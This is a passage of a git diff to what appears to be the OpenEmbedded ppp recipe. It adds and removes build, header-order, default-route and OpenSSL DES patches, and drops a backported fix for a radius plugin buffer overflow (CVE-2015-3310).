--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- /* should be added to system's socket.h... */
----
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch
new file mode 100644
index 0000000000..c91246dbf5
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch
@@ -0,0 +1,36 @@
+From aba3273273e826c6dc90f197ca9a3e800e826891 Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Fri, 5 Nov 2021 12:41:35 -0400
+Subject: [PATCH] ppp: fix build against 5.15 headers
+
+The 5.15 kernel has removed ipx support, along with the userspace
+visible header.
+
+This support wasn't used previously (as it hasn't been very well
+maintained in the kernel for several years), so we can simply
+disable it in our build and wait for upstream to do a release that
+drops the support.
+
+Upstream-Status: Inappropriate [OE-specific configuration/headers]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ pppd/Makefile.linux | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
+index 22837c5..23b9b22 100644
+--- a/pppd/Makefile.linux
++++ b/pppd/Makefile.linux
+@@ -91,7 +91,7 @@ MAXOCTETS=y
+
+ INCLUDE_DIRS= -I../include
+
+-COMPILE_FLAGS= -DHAVE_PATHS_H -DIPX_CHANGE -DHAVE_MMAP -pipe
++COMPILE_FLAGS= -DHAVE_PATHS_H -DHAVE_MMAP -pipe
+
+ CFLAGS= $(COPTS) $(COMPILE_FLAGS) $(INCLUDE_DIRS) '-DDESTDIR="@DESTDIR@"'
+
+--
+2.25.1
+
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-pppoe-include-netinet-in.h-before-linux-in.h.patch b/meta/recipes-connectivity/ppp/ppp/0001-pppoe-include-netinet-in.h-before-linux-in.h.patch
deleted file mode 100644
index 9362d12648..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-pppoe-include-netinet-in.h-before-linux-in.h.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 50a2997b256e0e0ef7a46fae133f56f60fce539c Mon Sep 17 00:00:00 2001
-From: Lubomir Rintel <lkundrak@v3.sk>
-Date: Mon, 9 Jan 2017 13:34:23 +0000
-Subject: [PATCH] pppoe: include netinet/in.h before linux/in.h
-
-This fixes builds with newer kernels. Basically, <netinet/in.h> needs to be
-included before <linux/in.h> otherwise the earlier, unaware of the latter,
-tries to redefine symbols and structures. Also, <linux/if_pppox.h> doesn't work
-alone anymore, since it pulls the headers in the wrong order, so we better
-include <netinet/in.h> early.
-
-Upstream-Status: Backport
-[https://github.com/paulusmack/ppp/commit/50a2997b256e0e0ef7a46fae133f56f60fce539c]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- pppd/plugins/rp-pppoe/pppoe.h | 7 ++++---
- 1 file changed, 4 insertions(+), 3 deletions(-)
-
-diff --git a/pppd/plugins/rp-pppoe/pppoe.h b/pppd/plugins/rp-pppoe/pppoe.h
-index 9ab2eee..c4aaa6e 100644
---- a/pppd/plugins/rp-pppoe/pppoe.h
-+++ b/pppd/plugins/rp-pppoe/pppoe.h
-@@ -47,6 +47,10 @@
- #include <sys/socket.h>
- #endif
-
-+/* This has to be included before Linux 4.8's linux/in.h
-+ * gets dragged in. */
-+#include <netinet/in.h>
-+
- /* Ugly header files on some Linux boxes... */
- #if defined(HAVE_LINUX_IF_H)
- #include <linux/if.h>
-@@ -84,8 +88,6 @@ typedef unsigned long UINT32_t;
- #include <linux/if_ether.h>
- #endif
-
--#include <netinet/in.h>
--
- #ifdef HAVE_NETINET_IF_ETHER_H
- #include <sys/types.h>
-
-@@ -98,7 +100,6 @@ typedef unsigned long UINT32_t;
- #endif
-
-
--
- /* Ethernet frame types according to RFC 2516 */
- #define ETH_PPPOE_DISCOVERY 0x8863
- #define ETH_PPPOE_SESSION 0x8864
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/ppp/ppp/cifdefroute.patch b/meta/recipes-connectivity/ppp/ppp/cifdefroute.patch
deleted file mode 100644
index 7dd69d8f4d..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/cifdefroute.patch
+++ /dev/null
@@ -1,297 +0,0 @@
-This patch comes from OpenEmbedded.
-The original patch is from Debian / SuSE to implement replacedefaultroute
-Rebased it to fit ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [debian/suse patches]
-
-Index: ppp-2.4.7/pppd/ipcp.c
-===================================================================
---- ppp-2.4.7.orig/pppd/ipcp.c
-+++ ppp-2.4.7/pppd/ipcp.c
-@@ -198,6 +198,16 @@ static option_t ipcp_option_list[] = {
- "disable defaultroute option", OPT_ALIAS | OPT_A2CLR,
- &ipcp_wantoptions[0].default_route },
-
-+#ifdef __linux__
-+ { "replacedefaultroute", o_bool,
-+ &ipcp_wantoptions[0].replace_default_route,
-+ "Replace default route", 1
-+ },
-+ { "noreplacedefaultroute", o_bool,
-+ &ipcp_allowoptions[0].replace_default_route,
-+ "Never replace default route", OPT_A2COPY,
-+ &ipcp_wantoptions[0].replace_default_route },
-+#endif
- { "proxyarp", o_bool, &ipcp_wantoptions[0].proxy_arp,
- "Add proxy ARP entry", OPT_ENABLE|1, &ipcp_allowoptions[0].proxy_arp },
- { "noproxyarp", o_bool, &ipcp_allowoptions[0].proxy_arp,
-@@ -271,7 +281,7 @@ struct protent ipcp_protent = {
- ip_active_pkt
- };
-
--static void ipcp_clear_addrs __P((int, u_int32_t, u_int32_t));
-+static void ipcp_clear_addrs __P((int, u_int32_t, u_int32_t, bool));
- static void ipcp_script __P((char *, int)); /* Run an up/down script */
- static void ipcp_script_done __P((void *));
-
-@@ -1761,7 +1771,12 @@ ip_demand_conf(u)
- if (!sifnpmode(u, PPP_IP, NPMODE_QUEUE))
- return 0;
- if (wo->default_route)
-+#ifndef __linux__
- if (sifdefaultroute(u, wo->ouraddr, wo->hisaddr))
-+#else
-+ if (sifdefaultroute(u, wo->ouraddr, wo->hisaddr,
-+ wo->replace_default_route))
-+#endif
- default_route_set[u] = 1;
- if (wo->proxy_arp)
- if (sifproxyarp(u, wo->hisaddr))
-@@ -1849,7 +1864,8 @@ ipcp_up(f)
- */
- if (demand) {
- if (go->ouraddr != wo->ouraddr || ho->hisaddr != wo->hisaddr) {
-- ipcp_clear_addrs(f->unit, wo->ouraddr, wo->hisaddr);
-+ ipcp_clear_addrs(f->unit, wo->ouraddr, wo->hisaddr,
-+ wo->replace_default_route);
- if (go->ouraddr != wo->ouraddr) {
- warn("Local IP address changed to %I", go->ouraddr);
- script_setenv("OLDIPLOCAL", ip_ntoa(wo->ouraddr), 0);
-@@ -1874,7 +1890,12 @@ ipcp_up(f)
-
- /* assign a default route through the interface if required */
- if (ipcp_wantoptions[f->unit].default_route)
-+#ifndef __linux__
- if (sifdefaultroute(f->unit, go->ouraddr, ho->hisaddr))
-+#else
-+ if (sifdefaultroute(f->unit, go->ouraddr, ho->hisaddr,
-+ wo->replace_default_route))
-+#endif
- default_route_set[f->unit] = 1;
-
- /* Make a proxy ARP entry if requested. */
-@@ -1924,7 +1945,12 @@ ipcp_up(f)
-
- /* assign a default route through the interface if required */
- if (ipcp_wantoptions[f->unit].default_route)
-+#ifndef __linux__
- if (sifdefaultroute(f->unit, go->ouraddr, ho->hisaddr))
-+#else
-+ if (sifdefaultroute(f->unit, go->ouraddr, ho->hisaddr,
-+ wo->replace_default_route))
-+#endif
- default_route_set[f->unit] = 1;
-
- /* Make a proxy ARP entry if requested. */
-@@ -2002,7 +2028,7 @@ ipcp_down(f)
- sifnpmode(f->unit, PPP_IP, NPMODE_DROP);
- sifdown(f->unit);
- ipcp_clear_addrs(f->unit, ipcp_gotoptions[f->unit].ouraddr,
-- ipcp_hisoptions[f->unit].hisaddr);
-+ ipcp_hisoptions[f->unit].hisaddr, 0);
- }
-
- /* Execute the ip-down script */
-@@ -2018,12 +2044,21 @@ ipcp_down(f)
- * proxy arp entries, etc.
- */
- static void
--ipcp_clear_addrs(unit, ouraddr, hisaddr)
-+ipcp_clear_addrs(unit, ouraddr, hisaddr, replacedefaultroute)
- int unit;
- u_int32_t ouraddr; /* local address */
- u_int32_t hisaddr; /* remote address */
-+ bool replacedefaultroute;
- {
-- if (proxy_arp_set[unit]) {
-+ /* If replacedefaultroute, sifdefaultroute will be called soon
-+ * with replacedefaultroute set and that will overwrite the current
-+ * default route. This is the case only when doing demand, otherwise
-+ * during demand, this cifdefaultroute would restore the old default
-+ * route which is not what we want in this case. In the non-demand
-+ * case, we'll delete the default route and restore the old if there
-+ * is one saved by an sifdefaultroute with replacedefaultroute.
-+ */
-+ if (!replacedefaultroute && default_route_set[unit]) {
- cifproxyarp(unit, hisaddr);
- proxy_arp_set[unit] = 0;
- }
-Index: ppp-2.4.7/pppd/ipcp.h
-===================================================================
---- ppp-2.4.7.orig/pppd/ipcp.h
-+++ ppp-2.4.7/pppd/ipcp.h
-@@ -70,6 +70,7 @@ typedef struct ipcp_options {
- bool old_addrs; /* Use old (IP-Addresses) option? */
- bool req_addr; /* Ask peer to send IP address? */
- bool default_route; /* Assign default route through interface? */
-+ bool replace_default_route; /* Replace default route through interface? */
- bool proxy_arp; /* Make proxy ARP entry for peer? */
- bool neg_vj; /* Van Jacobson Compression? */
- bool old_vj; /* use old (short) form of VJ option? */
-Index: ppp-2.4.7/pppd/pppd.8
-===================================================================
---- ppp-2.4.7.orig/pppd/pppd.8
-+++ ppp-2.4.7/pppd/pppd.8
-@@ -121,6 +121,13 @@ the gateway, when IPCP negotiation is su
- This entry is removed when the PPP connection is broken. This option
- is privileged if the \fInodefaultroute\fR option has been specified.
- .TP
-+.B replacedefaultroute
-+This option is a flag to the defaultroute option. If defaultroute is
-+set and this flag is also set, pppd replaces an existing default route
-+with the new default route.
-+
-+
-+.TP
- .B disconnect \fIscript
- Execute the command specified by \fIscript\fR, by passing it to a
- shell, after
-@@ -734,7 +741,12 @@ disable both forms of hardware flow cont
- .TP
- .B nodefaultroute
- Disable the \fIdefaultroute\fR option. The system administrator who
--wishes to prevent users from creating default routes with pppd
-+wishes to prevent users from adding a default route with pppd
-+can do so by placing this option in the /etc/ppp/options file.
-+.TP
-+.B noreplacedefaultroute
-+Disable the \fIreplacedefaultroute\fR option. The system administrator who
-+wishes to prevent users from replacing a default route with pppd
- can do so by placing this option in the /etc/ppp/options file.
- .TP
- .B nodeflate
-Index: ppp-2.4.7/pppd/pppd.h
-===================================================================
---- ppp-2.4.7.orig/pppd/pppd.h
-+++ ppp-2.4.7/pppd/pppd.h
-@@ -665,7 +665,11 @@ int sif6addr __P((int, eui64_t, eui64_t
- int cif6addr __P((int, eui64_t, eui64_t));
- /* Remove an IPv6 address from i/f */
- #endif
-+#ifndef __linux__
- int sifdefaultroute __P((int, u_int32_t, u_int32_t));
-+#else
-+int sifdefaultroute __P((int, u_int32_t, u_int32_t, bool replace_default_rt));
-+#endif
- /* Create default route through i/f */
- int cifdefaultroute __P((int, u_int32_t, u_int32_t));
- /* Delete default route through i/f */
-Index: ppp-2.4.7/pppd/sys-linux.c
-===================================================================
---- ppp-2.4.7.orig/pppd/sys-linux.c
-+++ ppp-2.4.7/pppd/sys-linux.c
-@@ -207,6 +207,8 @@ static unsigned char inbuf[512]; /* buff
- static int if_is_up; /* Interface has been marked up */
- static int if6_is_up; /* Interface has been marked up for IPv6, to help differentiate */
- static int have_default_route; /* Gateway for default route added */
-+static struct rtentry old_def_rt; /* Old default route */
-+static int default_rt_repl_rest; /* replace and restore old default rt */
- static u_int32_t proxy_arp_addr; /* Addr for proxy arp entry added */
- static char proxy_arp_dev[16]; /* Device for proxy arp entry */
- static u_int32_t our_old_addr; /* for detecting address changes */
-@@ -1545,6 +1547,9 @@ static int read_route_table(struct rtent
- p = NULL;
- }
-
-+ SET_SA_FAMILY (rt->rt_dst, AF_INET);
-+ SET_SA_FAMILY (rt->rt_gateway, AF_INET);
-+
- SIN_ADDR(rt->rt_dst) = strtoul(cols[route_dest_col], NULL, 16);
- SIN_ADDR(rt->rt_gateway) = strtoul(cols[route_gw_col], NULL, 16);
- SIN_ADDR(rt->rt_genmask) = strtoul(cols[route_mask_col], NULL, 16);
-@@ -1614,20 +1619,51 @@ int have_route_to(u_int32_t addr)
- /********************************************************************
- *
- * sifdefaultroute - assign a default route through the address given.
-- */
--
--int sifdefaultroute (int unit, u_int32_t ouraddr, u_int32_t gateway)
--{
-- struct rtentry rt;
--
-- if (defaultroute_exists(&rt) && strcmp(rt.rt_dev, ifname) != 0) {
-- if (rt.rt_flags & RTF_GATEWAY)
-- error("not replacing existing default route via %I",
-- SIN_ADDR(rt.rt_gateway));
-- else
-- error("not replacing existing default route through %s",
-- rt.rt_dev);
-- return 0;
-+ *
-+ * If the global default_rt_repl_rest flag is set, then this function
-+ * already replaced the original system defaultroute with some other
-+ * route and it should just replace the current defaultroute with
-+ * another one, without saving the current route. Use: demand mode,
-+ * when pppd sets first a defaultroute it it's temporary ppp0 addresses
-+ * and then changes the temporary addresses to the addresses for the real
-+ * ppp connection when it has come up.
-+ */
-+
-+int sifdefaultroute (int unit, u_int32_t ouraddr, u_int32_t gateway, bool replace)
-+{
-+ struct rtentry rt, tmp_rt;
-+ struct rtentry *del_rt = NULL;
-+
-+ if (default_rt_repl_rest) {
-+ /* We have already reclaced the original defaultroute, if we
-+ * are called again, we will delete the current default route
-+ * and set the new default route in this function.
-+ * - this is normally only the case the doing demand: */
-+ if (defaultroute_exists( &tmp_rt ))
-+ del_rt = &tmp_rt;
-+ } else if ( defaultroute_exists( &old_def_rt ) &&
-+ strcmp( old_def_rt.rt_dev, ifname ) != 0) {
-+ /* We did not yet replace an existing default route, let's
-+ * check if we should save and replace a default route:
-+ */
-+ u_int32_t old_gateway = SIN_ADDR(old_def_rt.rt_gateway);
-+ if (old_gateway != gateway) {
-+ if (!replace) {
-+ error("not replacing default route to %s [%I]",
-+ old_def_rt.rt_dev, old_gateway);
-+ return 0;
-+ } else {
-+ // we need to copy rt_dev because we need it permanent too:
-+ char * tmp_dev = malloc(strlen(old_def_rt.rt_dev)+1);
-+ strcpy(tmp_dev, old_def_rt.rt_dev);
-+ old_def_rt.rt_dev = tmp_dev;
-+
-+ notice("replacing old default route to %s [%I]",
-+ old_def_rt.rt_dev, old_gateway);
-+ default_rt_repl_rest = 1;
-+ del_rt = &old_def_rt;
-+ }
-+ }
- }
-
- memset (&rt, 0, sizeof (rt));
-@@ -1646,6 +1682,12 @@ int sifdefaultroute (int unit, u_int32_t
- error("default route ioctl(SIOCADDRT): %m");
- return 0;
- }
-+ if (default_rt_repl_rest && del_rt)
-+ if (ioctl(sock_fd, SIOCDELRT, del_rt) < 0) {
-+ if ( ! ok_error ( errno ))
-+ error("del old default route ioctl(SIOCDELRT): %m(%d)", errno);
-+ return 0;
-+ }
-
- have_default_route = 1;
- return 1;
-@@ -1681,6 +1723,16 @@ int cifdefaultroute (int unit, u_int32_t
- return 0;
- }
- }
-+ if (default_rt_repl_rest) {
-+ notice("restoring old default route to %s [%I]",
-+ old_def_rt.rt_dev, SIN_ADDR(old_def_rt.rt_gateway));
-+ if (ioctl(sock_fd, SIOCADDRT, &old_def_rt) < 0) {
-+ if ( ! ok_error ( errno ))
-+ error("restore default route ioctl(SIOCADDRT): %m(%d)", errno);
-+ return 0;
-+ }
-+ default_rt_repl_rest = 0;
-+ }
-
- return 1;
- }
diff --git a/meta/recipes-connectivity/ppp/ppp/copts.patch b/meta/recipes-connectivity/ppp/ppp/copts.patch
deleted file mode 100644
index 53ff06e03e..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/copts.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-ppp: use build system CFLAGS when compiling
-
-Upstream-Status: Pending
-
-Override the hard-coded COPTS make variables with
-CFLAGS. Add COPTS into one Makefile that did not
-use it.
-
-Signed-off-by: Joe Slater <jslater@windriver.com>
-
---- a/pppd/plugins/radius/Makefile.linux
-+++ b/pppd/plugins/radius/Makefile.linux
-@@ -12,7 +12,7 @@ VERSION = $(shell awk -F '"' '/VERSION/
- INSTALL = install
-
- PLUGIN=radius.so radattr.so radrealms.so
--CFLAGS=-I. -I../.. -I../../../include -O2 -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-+CFLAGS=-I. -I../.. -I../../../include $(COPTS) -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-
- # Uncomment the next line to include support for Microsoft's
- # MS-CHAP authentication protocol.
diff --git a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch b/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
deleted file mode 100644
index c5a0be86f5..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-ppp: Buffer overflow in radius plugin
-
-From: https://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;bug=782450
-
-Upstream-Status: Backport
-CVE: CVE-2015-3310
-
-On systems with more than 65535 processes running, pppd aborts when
-sending a "start" accounting message to the RADIUS server because of a
-buffer overflow in rc_mksid.
-
-The process id is used in rc_mksid to generate a pseudo-unique string,
-assuming that the hex representation of the pid will be at most 4
-characters (FFFF). __sprintf_chk(), used when compiling with
-optimization levels greater than 0 and FORTIFY_SOURCE, detects the
-buffer overflow and makes pppd crash.
-
-The following patch fixes the problem.
-
---- ppp-2.4.6.orig/pppd/plugins/radius/util.c
-+++ ppp-2.4.6/pppd/plugins/radius/util.c
-@@ -77,7 +77,7 @@ rc_mksid (void)
- static unsigned short int cnt = 0;
- sprintf (buf, "%08lX%04X%02hX",
- (unsigned long int) time (NULL),
-- (unsigned int) getpid (),
-+ (unsigned int) getpid () % 65535,
- cnt & 0xFF);
- cnt++;
- return buf;
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch b/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
deleted file mode 100644
index 8a69396cc7..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-The patch comes from OpenEmbedded.
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Updated from OE-Classic to include the pcap hunk.
-Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
-
-Upstream-Status: Inappropriate [configuration]
-
-Index: ppp-2.4.7/pppd/Makefile.linux
-===================================================================
---- ppp-2.4.7.orig/pppd/Makefile.linux
-+++ ppp-2.4.7/pppd/Makefile.linux
-@@ -120,10 +120,10 @@ CFLAGS += -DHAS_SHADOW
- #LIBS += -lshadow $(LIBS)
- endif
-
--ifneq ($(wildcard /usr/include/crypt.h),)
-+#ifneq ($(wildcard /usr/include/crypt.h),)
- CFLAGS += -DHAVE_CRYPT_H=1
- LIBS += -lcrypt
--endif
-+#endif
-
- ifdef USE_LIBUTIL
- CFLAGS += -DHAVE_LOGWTMP=1
-@@ -177,10 +177,10 @@ LIBS += -ldl
- endif
-
- ifdef FILTER
--ifneq ($(wildcard /usr/include/pcap-bpf.h),)
-+#ifneq ($(wildcard /usr/include/pcap-bpf.h),)
- LIBS += -lpcap
- CFLAGS += -DPPP_FILTER
--endif
-+#endif
- endif
-
- ifdef HAVE_INET6
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile.patch b/meta/recipes-connectivity/ppp/ppp/makefile.patch
deleted file mode 100644
index 2d09baf5d0..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile.patch
+++ /dev/null
@@ -1,95 +0,0 @@
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
-diff -ruN ppp-2.4.5-orig/chat/Makefile.linux ppp-2.4.5/chat/Makefile.linux
---- ppp-2.4.5-orig/chat/Makefile.linux 2010-06-30 15:51:12.050166398 +0800
-+++ ppp-2.4.5/chat/Makefile.linux 2010-06-30 15:51:30.450118446 +0800
-@@ -25,7 +25,7 @@
-
- install: chat
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c chat $(BINDIR)
-+ $(INSTALL) -c chat $(BINDIR)
- $(INSTALL) -c -m 644 chat.8 $(MANDIR)
-
- clean:
-diff -ruN ppp-2.4.5-orig/pppd/Makefile.linux ppp-2.4.5/pppd/Makefile.linux
---- ppp-2.4.5-orig/pppd/Makefile.linux 2010-06-30 15:51:12.043682063 +0800
-+++ ppp-2.4.5/pppd/Makefile.linux 2010-06-30 15:52:11.214170607 +0800
-@@ -99,7 +99,7 @@
- CFLAGS += -DUSE_SRP -DOPENSSL -I/usr/local/ssl/include
- LIBS += -lsrp -L/usr/local/ssl/lib -lcrypto
- TARGETS += srp-entry
--EXTRAINSTALL = $(INSTALL) -s -c -m 555 srp-entry $(BINDIR)/srp-entry
-+EXTRAINSTALL = $(INSTALL) -c -m 555 srp-entry $(BINDIR)/srp-entry
- MANPAGES += srp-entry.8
- EXTRACLEAN += srp-entry.o
- NEEDDES=y
-@@ -200,7 +200,7 @@
- install: pppd
- mkdir -p $(BINDIR) $(MANDIR)
- $(EXTRAINSTALL)
-- $(INSTALL) -s -c -m 555 pppd $(BINDIR)/pppd
-+ $(INSTALL) -c -m 555 pppd $(BINDIR)/pppd
- if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
- chmod o-rx,u+s $(BINDIR)/pppd; fi
- $(INSTALL) -c -m 444 pppd.8 $(MANDIR)
-diff -ruN ppp-2.4.5-orig/pppd/plugins/radius/Makefile.linux ppp-2.4.5/pppd/plugins/radius/Makefile.linux
---- ppp-2.4.5-orig/pppd/plugins/radius/Makefile.linux 2010-06-30 15:51:12.047676187 +0800
-+++ ppp-2.4.5/pppd/plugins/radius/Makefile.linux 2010-06-30 15:53:47.750182267 +0800
-@@ -36,11 +36,11 @@
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radius.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radattr.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radrealms.so $(LIBDIR)
-- $(INSTALL) -c -m 444 pppd-radius.8 $(MANDIR)
-- $(INSTALL) -c -m 444 pppd-radattr.8 $(MANDIR)
-+ $(INSTALL) -c -m 755 radius.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radattr.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radrealms.so $(LIBDIR)
-+ $(INSTALL) -m 444 pppd-radius.8 $(MANDIR)
-+ $(INSTALL) -m 444 pppd-radattr.8 $(MANDIR)
-
- radius.so: radius.o libradiusclient.a
- $(CC) -o radius.so -shared radius.o libradiusclient.a
-diff -ruN ppp-2.4.5-orig/pppd/plugins/rp-pppoe/Makefile.linux ppp-2.4.5/pppd/plugins/rp-pppoe/Makefile.linux
---- ppp-2.4.5-orig/pppd/plugins/rp-pppoe/Makefile.linux 2010-06-30 15:51:12.047676187 +0800
-+++ ppp-2.4.5/pppd/plugins/rp-pppoe/Makefile.linux 2010-06-30 15:53:15.454486877 +0800
-@@ -43,9 +43,9 @@
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 4550 rp-pppoe.so $(LIBDIR)
-+ $(INSTALL) -c -m 4550 rp-pppoe.so $(LIBDIR)
- $(INSTALL) -d -m 755 $(BINDIR)
-- $(INSTALL) -s -c -m 555 pppoe-discovery $(BINDIR)
-+ $(INSTALL) -c -m 555 pppoe-discovery $(BINDIR)
-
- clean:
- rm -f *.o *.so pppoe-discovery
-diff -ruN ppp-2.4.5-orig/pppdump/Makefile.linux ppp-2.4.5/pppdump/Makefile.linux
---- ppp-2.4.5-orig/pppdump/Makefile.linux 2010-06-30 15:51:12.058183383 +0800
-+++ ppp-2.4.5/pppdump/Makefile.linux 2010-06-30 15:52:25.762183537 +0800
-@@ -17,5 +17,5 @@
-
- install:
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c pppdump $(BINDIR)
-+ $(INSTALL) -c pppdump $(BINDIR)
- $(INSTALL) -c -m 444 pppdump.8 $(MANDIR)
-diff -ruN ppp-2.4.5-orig/pppstats/Makefile.linux ppp-2.4.5/pppstats/Makefile.linux
---- ppp-2.4.5-orig/pppstats/Makefile.linux 2010-06-30 15:51:12.058183383 +0800
-+++ ppp-2.4.5/pppstats/Makefile.linux 2010-06-30 15:52:42.486341081 +0800
-@@ -22,7 +22,7 @@
-
- install: pppstats
- -mkdir -p $(MANDIR)
-- $(INSTALL) -s -c pppstats $(BINDIR)
-+ $(INSTALL) -c pppstats $(BINDIR)
- $(INSTALL) -c -m 444 pppstats.8 $(MANDIR)
-
- pppstats: $(PPPSTATSRCS)
diff --git a/meta/recipes-connectivity/ppp/ppp/makefix.patch b/meta/recipes-connectivity/ppp/ppp/makefix.patch
new file mode 100644
index 0000000000..fce068cae0
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp/makefix.patch
@@ -0,0 +1,40 @@
+We were seeing reproducibility issues where one host would use the internal
+logwtmp wrapper, another would use the one in libutil. The issue was that in
+some cases the "\#include" was making it to CC, in others, "#include". The
+issue seems to be related to shell escaping.
+
+The root cause looks to be:
+http://git.savannah.gnu.org/cgit/make.git/commit/?id=c6966b323811c37acedff05b576b907b06aea5f4
+
+Instead of relying on shell quoting, use make to indirect the variable
+and avoid the problem.
+
+See https://github.com/paulusmack/ppp/issues/233
+
+Upstream-Status: Backport [https://github.com/paulusmack/ppp/commit/b4430f7092ececdff2504d5f3393a4c6528c3686]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: ppp-2.4.9/pppd/Makefile.linux
+===================================================================
+--- ppp-2.4.9.orig/pppd/Makefile.linux
++++ ppp-2.4.9/pppd/Makefile.linux
+@@ -80,7 +80,8 @@ PLUGIN=y
+ #USE_SRP=y
+
+ # Use libutil; test if logwtmp is declared in <utmp.h> to detect
+-ifeq ($(shell echo '\#include <utmp.h>' | $(CC) -E - 2>/dev/null | grep -q logwtmp && echo yes),yes)
++UTMPHEADER = "\#include <utmp.h>"
++ifeq ($(shell echo $(UTMPHEADER) | $(CC) -E - 2>/dev/null | grep -q logwtmp && echo yes),yes)
+ USE_LIBUTIL=y
+ endif
+
+@@ -143,7 +144,8 @@ CFLAGS += -DHAS_SHADOW
+ #LIBS += -lshadow $(LIBS)
+ endif
+
+-ifeq ($(shell echo '\#include <crypt.h>' | $(CC) -E - >/dev/null 2>&1 && echo yes),yes)
++CRYPTHEADER = "\#include <crypt.h>"
++ifeq ($(shell echo $(CRYPTHEADER) | $(CC) -E - >/dev/null 2>&1 && echo yes),yes)
+ CFLAGS += -DHAVE_CRYPT_H=1
+ LIBS += -lcrypt
+ endif
diff --git a/meta/recipes-connectivity/ppp/ppp/ppp-2.4.7-DES-openssl.patch b/meta/recipes-connectivity/ppp/ppp/ppp-2.4.7-DES-openssl.patch
deleted file mode 100644
index e53f240543..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/ppp-2.4.7-DES-openssl.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-Used openssl for the DES instead of the libcrypt / glibc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: ppp-2.4.7/pppd/Makefile.linux
-===================================================================
---- ppp-2.4.7.orig/pppd/Makefile.linux
-+++ ppp-2.4.7/pppd/Makefile.linux
-@@ -38,7 +38,7 @@ LIBS =
- # Uncomment the next 2 lines to include support for Microsoft's
- # MS-CHAP authentication protocol. Also, edit plugins/radius/Makefile.linux.
- CHAPMS=y
--USE_CRYPT=y
-+#USE_CRYPT=y
- # Don't use MSLANMAN unless you really know what you're doing.
- #MSLANMAN=y
- # Uncomment the next line to include support for MPPE. CHAPMS (above) must
-@@ -132,7 +132,7 @@ endif
-
- ifdef NEEDDES
- ifndef USE_CRYPT
--LIBS += -ldes $(LIBS)
-+LIBS += -lcrypto
- else
- CFLAGS += -DUSE_CRYPT=1
- endif
-Index: ppp-2.4.7/pppd/pppcrypt.c
-===================================================================
---- ppp-2.4.7.orig/pppd/pppcrypt.c
-+++ ppp-2.4.7/pppd/pppcrypt.c
-@@ -64,7 +64,7 @@ u_char *des_key; /* OUT 64 bit DES key w
- des_key[7] = Get7Bits(key, 49);
-
- #ifndef USE_CRYPT
-- des_set_odd_parity((des_cblock *)des_key);
-+ DES_set_odd_parity((DES_cblock *)des_key);
- #endif
- }
-
-@@ -158,25 +158,25 @@ u_char *clear; /* OUT 8 octets */
- }
-
- #else /* USE_CRYPT */
--static des_key_schedule key_schedule;
-+static DES_key_schedule key_schedule;
-
- bool
- DesSetkey(key)
- u_char *key;
- {
-- des_cblock des_key;
-+ DES_cblock des_key;
- MakeKey(key, des_key);
-- des_set_key(&des_key, key_schedule);
-+ DES_set_key(&des_key, &key_schedule);
- return (1);
- }
-
- bool
--DesEncrypt(clear, key, cipher)
-+DesEncrypt(clear, cipher)
- u_char *clear; /* IN 8 octets */
- u_char *cipher; /* OUT 8 octets */
- {
-- des_ecb_encrypt((des_cblock *)clear, (des_cblock *)cipher,
-- key_schedule, 1);
-+ DES_ecb_encrypt((DES_cblock *)clear, (DES_cblock *)cipher,
-+ &key_schedule, 1);
- return (1);
- }
-
-@@ -185,8 +185,8 @@ DesDecrypt(cipher, clear)
- u_char *cipher; /* IN 8 octets */
- u_char *clear; /* OUT 8 octets */
- {
